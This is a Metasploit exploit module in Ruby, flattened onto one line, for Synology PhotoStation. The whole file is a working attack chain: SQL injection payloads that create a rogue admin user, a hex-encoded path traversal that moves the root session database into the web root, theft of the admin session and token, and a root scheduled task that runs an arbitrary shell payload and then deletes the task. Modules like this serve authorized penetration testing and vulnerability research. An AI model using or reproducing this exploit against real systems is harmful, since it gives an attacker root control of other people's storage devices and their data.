## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Synology PhotoStation Multiple Vulnerabilities", 'Description' => %q{ This module exploits multiple vulnerabilities in Synology PhotoStation. When combined these issues can be leveraged to gain a remote root shell. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Bercegay', ], 'References' => [ [ 'URL', 'http://gulftech.org/' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => '2018-01-08', 'DefaultTarget' => 0)) register_options( [ OptString.new('DSMPORT', [ true, "The default DSM port", '5000']), ]) end def check res = send_request_cgi( { 'uri' => '/photo/include/blog/label.php', 'method' => 'POST', 'vars_post' => { 'action' =>'get_article_label', 'article_id' => "1; SELECT user; -- " }, }) if res and res.body =~ /PhotoStation/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def exploit rnum = rand(1000) rstr = Rex::Text.rand_text_alpha(10) uuid = rnum # User ID upwd = rstr # User Password uusr = rstr # User name vol1 = '/volume1' audb = '/usr/syno/etc/private/session/current.users' ########################################################################### # STEP 00: Force PhotoStation to NOT use DSM for the authentication system ########################################################################### print_status("Switching authentication system to PhotoStation via SQL Injection") res = send_request_cgi( { 'uri' => '/photo/include/blog/label.php', 'method' => 'POST', 'vars_post' => { 'action' =>'get_article_label', 'article_id' => "1; UPDATE photo_config SET config_value=0 WHERE config_key='account_system'; -- " }, }) ########################################################################### # STEP 01: Create an admin user ########################################################################### print_status("Creating admin user: #{uusr} => #{upwd}") # Password hash umd5 = Rex::Text.md5(upwd) res = send_request_cgi( { 'uri' => '/photo/include/blog/label.php', 'method' => 'POST', 'vars_post' => { 'action' =>'get_article_label', 'article_id' => "1; INSERT INTO photo_user (userid, username, password, admin) VALUES (#{uuid}, '#{uusr}', '#{umd5}', TRUE); -- " }, }) ########################################################################### # STEP 02: Authenticate and store session identifier ########################################################################### print_status("Authenticating as admin user: #{uusr}") res = send_request_cgi( { 'uri' => '/photo/webapi/auth.php', 'method' => 'POST', 'vars_post' => { 'api' =>'SYNO.PhotoStation.Auth', 'method' => 'login', 'version' =>'1', 'username' => uusr, 'password' => upwd, 'enable_syno_token' => 'TRUE', }, }) if not res or not res.headers or not res.headers['Set-Cookie'] print_error("Unable to retrieve session identifier! Aborting ...") return end uckv = res.headers['Set-Cookie'] psid = /PHPSESSID=([a-z0-9]+);/.match(uckv)[1] print_status("Got PHP Session ID: #{psid}") ########################################################################### # STEP 03: Delete any existing path names used from the database ########################################################################### print_status("Making sure there are no duplicate path index conflicts ...") res = send_request_cgi( { 'uri' => '/photo/include/blog/label.php', 'method' => 'POST', 'vars_post' => { 'action' =>'get_article_label', 'article_id' => "1; DELETE FROM video WHERE path='#{audb}'; -- " }, }) res = send_request_cgi( { 'uri' => '/photo/include/blog/label.php', 'method' => 'POST', 'vars_post' => { 'action' =>'get_article_label', 'article_id' => "1; DELETE FROM video WHERE path='#{vol1}/photo///current.users'; -- " }, }) ########################################################################### # STEP 04: Create a record for our malicious path in the database ########################################################################### print_status("Creating video record with bad 'path' data via SQL injection") res = send_request_cgi( { 'uri' => '/photo/include/blog/label.php', 'method' => 'POST', 'vars_post' => { 'action' =>'get_article_label', 'article_id' => "1; INSERT INTO video (id, path, title, container_type) VALUES (#{rnum}, '#{audb}', '#{rstr}', '#{rstr}'); -- " }, }) ########################################################################### # STEP 05: Copy session database as root, to the web directory for reading ########################################################################### print_status("Making a copy of the session db as root via synophotoio") res = send_request_cgi( { 'uri' => '/photo/include/photo/album_util.php', 'method' => 'POST', 'vars_post' => { 'action' =>'copy_items', 'destination' => '2f', 'video_list' => rnum }, 'cookie' => uckv }) ########################################################################### # STEP 06: Move the session db copy to the web root for retrieval ########################################################################### print_status("Moving session db to webroot for retrieval") res = send_request_cgi( { 'uri' => '/photo/include/file_upload.php', 'method' => 'POST', 'vars_get' => { # /../@appstore/PhotoStation/photo/ 'dir' =>'2f2e2e2f4061707073746f72652f50686f746f53746174696f6e2f70686f746f2f', 'name' => "2f", 'fname' => "#{rstr}", 'sid' => "#{psid}", 'action' => 'aviary_add', }, 'vars_post' => { 'url' => 'file://' + vol1 + '/photo/current.users' }, 'cookie' => uckv }) ########################################################################### # STEP 07: Retrieve and read the session db ########################################################################### print_status("Attempting to read session db") res = send_request_cgi( { 'uri' => "/photo/#{rstr}.jpg", 'method' => 'GET' }) if not res or not res.body print_error("Unable to retrieve session file! Aborting ...") return end host = /"host": "([^"]+)"/.match(res.body)[1] sess = /"id": "([^"]+)"/.match(res.body)[1] syno = /"synotoken": "([^"]+)"/.match(res.body)[1] print_status("Extracted admin session: #{sess} @ #{host}") ########################################################################### # STEP 08: Registering files for cleanup ########################################################################### # Uncomment for cleanup functionality # register_files_for_cleanup("#{vol1}/photo/current.users") # register_files_for_cleanup("#{vol1}/@appstore/PhotoStation/photo/#{rstr}.jpg") ########################################################################### # STEP 09: Create a task containing our payload ########################################################################### print_status("Creating privileged task to run as root") # Switch to DSM port from here on out datastore['RPORT'] = datastore['DSMPORT'] res = send_request_cgi( { 'uri' => '/webapi/entry.cgi', 'headers' => { 'X-SYNO-TOKEN' => syno, 'Client-IP' => host }, 'method' => 'POST', 'vars_post' => { 'name' => '"whatevs"', 'owner' => '"root"', 'enable' => 'true', 'schedule' =>'{"date_type":0,"week_day":"0,1,2,3,4,5,6","hour":0,"minute":0,"repeat_hour":0,"repeat_min":0,"last_work_hour":0,"repeat_min_store_config":[1,5,10,15,20,30],"repeat_hour_store_config":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23]}', 'extra' => '{"notify_enable":false,"script":"' + payload.encoded.gsub(/"/,'\"') + '","notify_mail":"","notify_if_error":false}', 'type' => '"script"', 'api' => 'SYNO.Core.TaskScheduler', 'method' => 'create', 'version' => '2', }, 'cookie' => "id=#{sess}" }) if not res or not res.body print_error("Unable to create task! Aborting ...") return end task = /{"id":(\d+)},"success":true}/.match(res.body)[1] print_status("Task created successfully: ID => #{task}") ########################################################################### # STEP 10: Execute the selected payload ########################################################################### print_status("Running selected task as root. Get ready for shell!") res = send_request_cgi( { 'uri' => '/webapi/entry.cgi', 'headers' => { 'X-SYNO-TOKEN' => syno, 'Client-IP' => host }, 'method' => 'POST', 'vars_post' => { 'stop_when_error' => 'false', 'mode' => '"sequential"', 'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"run","version":1,"task":[' + task + ']}]', 'api' => 'SYNO.Entry.Request', 'method' => 'request', 'version' => '1' }, 'cookie' => "id=#{sess}" }) ########################################################################### # STEP 11: Delete payload task from scheduler ########################################################################### print_status("Deleting malicious task from task scheduler") res = send_request_cgi( { 'uri' => '/webapi/entry.cgi', 'headers' => { 'X-SYNO-TOKEN' => syno, 'Client-IP' => host }, 'method' => 'POST', 'vars_post' => { 'stop_when_error' => 'false', 'mode' => '"sequential"', 'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"delete","version":1,"task":[' + task + ']}]', 'api' => 'SYNO.Entry.Request', 'method' => 'request', 'version' => '1' }, 'cookie' => "id=#{sess}" }) end end